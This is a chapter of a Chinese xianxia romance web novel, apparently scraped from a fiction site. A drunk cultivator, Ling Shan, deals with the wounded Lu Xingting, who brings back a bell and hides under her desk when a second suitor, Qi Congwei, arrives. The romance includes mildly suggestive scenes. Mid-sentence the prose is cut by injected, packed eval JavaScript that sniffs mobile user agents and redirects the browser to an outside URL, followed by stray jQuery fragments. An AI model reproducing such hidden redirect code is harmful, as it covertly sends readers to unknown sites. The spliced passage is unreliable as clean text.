门没有关严,夏日的晚风随着缝隙吹进来,引得铃铛晃动作响,路行庭向前凑近,她清晰感觉到脸上的温热。
不知道他捏着铃铛在这里等了多久。
她马上反应过来他指的忘掉的东西是什么,脸侧的触感太过明显了。
他当时宁愿废手舍命也要留下的迷心铃。
凌山脑子晕热,也不好奇他是怎么找上船,怎么活下来的,准确来说她与路行庭对彼此的了解本就浅薄。
路行庭望着那袭青衫,从自己的思绪脱离开才缓慢意识到她喝醉了,修士可以用清心决,她却放任自己醉着。
但他很清醒,路行庭紧握着手中的东西,缠上的白布被红色浸染,手上却没有痛感,什么都感受不到。
他用半生修为勉强将手保住,双手完全失去感知,这让他原本的计划往后延迟,在魔尊那里暴露后拼死活下来。
他以为他会后悔,可是他倒在冰冷的血泊里想了很久,发现他不能让铃铛消失。
他本来拥有的东西就少之又少,不能再失去什么,他不想和她断掉联系。
从裂缝离开再回到魔域那条路他走了很久,那里寸草不生,恶魂肆虐,身体种下的禁制时刻让他保持清醒。他让魔老二拿着密令先走,自己来到这里找她。
他不是那种会守在原地睹物思人的人。
凌山此刻就站在他的眼前,拿着铃铛的人却是他,手中的动作却不敢再上一步,他居然害怕这恶心的纯种魔血染脏她的脸。
又想要她沾染。
直到她弯腰躲过走到桌案边的椅坐下,从头到尾没看铃铛一眼,更视他于无形。
“这是我不要的,你想要便留下吧。”
凌山懒得理会他,感觉这人脑子有问题,之前不是还想要杀她远离她,知道铃铛有问题后又像膏药一样粘上来。
回想过来,两人之间连合作关系都算不上,这算什么?主仆?一个愿打一个愿挨,在她看来路行庭像一个不定时的炸弹,不够安稳。
她是贪图他的美色不假,再不曾有其他。
凌山把芥子袋从腰间解下,碰到桌案时沉沉一响,如今她手中的好东西实在太多,她凌山快变成金山了。
她想将芥子袋里多出来的东西重新整理一遍,再借着醉意睡上一觉。
路行庭掌心的血顺着纱布的纹路延伸,原本银白的铃铛染上擦不掉的红,那点血又顺着勉强拼凑的裂缝渗进去,一遍遍认他为副主。
他愣在原地恍然,唇间干涩哽声,惊觉。
她说她不要了。
这哪是不要铃铛。
路行庭终于明白过来,他拼死守下的东西,迷心铃本身没有任何意义,或者说意义是她所赋予。
她不要不收不拿便一点用处都没有,落在他手里显得越发可笑。
唯一的用处就是唤他,他自己拿着有什么用。努力找到的借口显得蠢笨,明白后却已经晚了。
他僵硬转身望向凌山,一双黑色的眸子暗得怖人,他更多时候都是沉默的,那袭青衫坐在椅中,单手支头点着桌面的法器,如数家珍。
哪怕是醉了也还和从前一副模样。
路行庭心下一定,下定决心。他强忍思绪,自欺欺人地装作什么都没有发生的模样,走到桌案边,她的脚边,蹲身跪下用手抚住她的小腿。
黑衣与青衫交叠相压,路行庭隔着裙摆抚住她的腿,头顶不远桌案的烛光过半照在他的发顶,像是被火烧着泛起金光。
窗外传来虫子的迎叫,海水的拍荡。
他的嘴角微牵,强挤出一抹笑,眼尾的小痣跟着光明灭浮现,几个呼吸间就挤进桌前,凑近将下巴抵在她的腿膝上,将姿态放得很低。
“您不能这么对我。”
凌山敛神垂眸,视线缓缓下移,她隐约意识到想要甩掉路行庭并不是件容易的事。
虽然他嘴上这么说,但她看见他眼底的固执,因放低姿态颈边突出的不甘的青筋。
她心念一动抬脚屈起,刚好架在他的肩头,脚下用力将他踩远些许。路行庭没料到她的动作,重心不稳朝外偏去。
“嗒。”地面没有预料被砸中,从他袖口掉出一枚留影石。
凌山低头就能看见少年的眼睫,还有那老旧留影石,弹到地面后自动显现画面,石头边缘泛着破损的碎角,似乎被多次重重摔过。
她的话哽在喉间,特意揉了揉眼睛再看一遍,确认没错,终于确定路行庭是个神经病。
里面是有关于她的画面,沉寂的古庙近在眼前,供奉处是她的石像,被人一点点雕刻所成,刻工细致,眉眼间居然能够看出几分神性,神像前下方有人长期跪拜的痕迹,地面的香火积起厚厚一层,唯独跪垫干干净净。
曾经无数次,他都是这样跪在地上仰头窥见她带着怜悯或事不关己的眼神,做看客身下的信徒。
神像似乎还被几经转移过地方,底座被反复磨过多次。
她愣愣盯着画面,难免惊讶,纵使知道路行庭前面说的是真话,但是和亲眼看见还是不一样。
凌山能看见他俊俏的脸,分明的喉结锁骨,她倾身弯腰下意识又将手放在他柔软的发顶,让他迎起头来。
她在想路行庭还能够给她带来些什么。
刚想说些什么就被打断,门口突然响起敲门声,有点急促正好在第三遍时止住。
凌山:“……”
为什么这一幕如此熟悉。
不同的是她听见齐从唯的声音透过来。
她的手松开和发丝划过,带着些痒意,没有开口让底下的人藏起来,解释就是掩饰,越藏越麻烦。
“进来。”脱口的那一刹那,凌山整个人一僵。
路行庭不知什么时候躲着桌案下,她稍微一低头便能看见他屈身弯腰的模样,从外面走过来,桌前的隔板刚好能够将他挡住。
路行庭将脸深埋在自己的膝前,黑发玄衣方便他更能融进黑暗里,唯独头顶那点玉冠露出破绽。
他正伸出几根手指扯住凌山的裙摆,并不安分,一副勾荡做派。
直到她将腿收回裙摆一角依旧被勾扯着,眼睫晃动着闭上,她只要一睁眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15514654|155466||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就能看见路行庭带着荒诞的坏笑,心快变成黑水染上她。
那双修长的手被纱布缠住,路行庭眸光一瞥就能看见因纱布偏移隐约露出的模糊血肉。
不管凌山承不承认,他都算是她的半个外室,一辈子都见不得光的偷腥者。
但爱情从不带着偏见。
他的位置能够勉强瞟见窗外的天空,被夜色染得雀黑,天色已晚,怎么还会有人在她喝醉的情况下来找她。
路行庭自觉身份将气息收敛,却还是忍不住将注意力集到门外去辨听。
凌山看着门外的齐从唯,注意力却没有放在红衣少年上面,她眼里带着醉人的笑意,脚尖动作用力踩下。
引得桌下的人痛苦地藏住闷哼。
他想玩,她便陪他,反正吃亏的不是自己。直到脚下有什么东西由软变硬,自顾自顶着她。
她的笑意一滞,这个死变态。
关门后见她不曾起身,齐从唯便一步步走向她,他没有再扎进那嚣张的高马尾,黑发全部散下披着,难得见他这副模样。
能看出是入睡前所解下发带,又突然按捺不住过来找她。
齐从唯底气不足,他还记得此刻自己和凌山不一般的关系,原本想着自己是“小”,但她身边并无“大”。
可是他守在阵法未曾动过一步,伤口裂了又好,好了又裂开,却看见她穿着一身喜服与宴如屿走出来,指尖红线与进去前一致。
当日在花朝节抱住她有多高兴后面就有多难过。
他想要凌山过来哄他,就像以前那样,可是沉默着闹了一天的别扭,左等右等天都黑了,哪怕只是一句话她都没有说。
害怕天空泛白到了明日变成凌山生气,他只好现在过来。
“我给你煮了解酒茶。”
齐从唯有些心虚,这是他先前在路上买的,他不会煮什么解酒茶,倒是也试过,别说茶连带着锅都不能用了。
凌山眯着眼将视线缓缓上移,落到齐从唯的脸上,没有接过茶水,她不相信这么晚来找自己,他只为送茶。
齐从唯向来是坦坦荡荡,为何此刻犹犹豫豫不再向前,她还等着他和路行庭打起来将人赶下去呢,倒是能够给她省事。
说起来,这好像还是两人的第一次“见面”。
凌山:“放桌上就行,这么晚来找我就为这事?”
路行庭指尖一顿,感觉两人之间的关系不一般。可是方才听那人的声音并不是她那师兄,难道……她还有别人。
他暗中咬牙。
齐从唯向前将东西随手放在桌上一角,眼观鼻鼻观心,此船一路前往灵山,应师兄他们会在半路离开,到那时船上只会剩下他们三人。
他没有掩饰自己的内心想法,直接道:“我担心你。”
他不知道她在云城的那段裂口遇到什么,有什么被里面的魔族伤到,今日又为何喝下这么多。
他想让她开心。
他此次前往齐家一行生死未卜,行事匆忙却不愿留下遗憾。
路行庭脸色难看地扯着她的裙摆。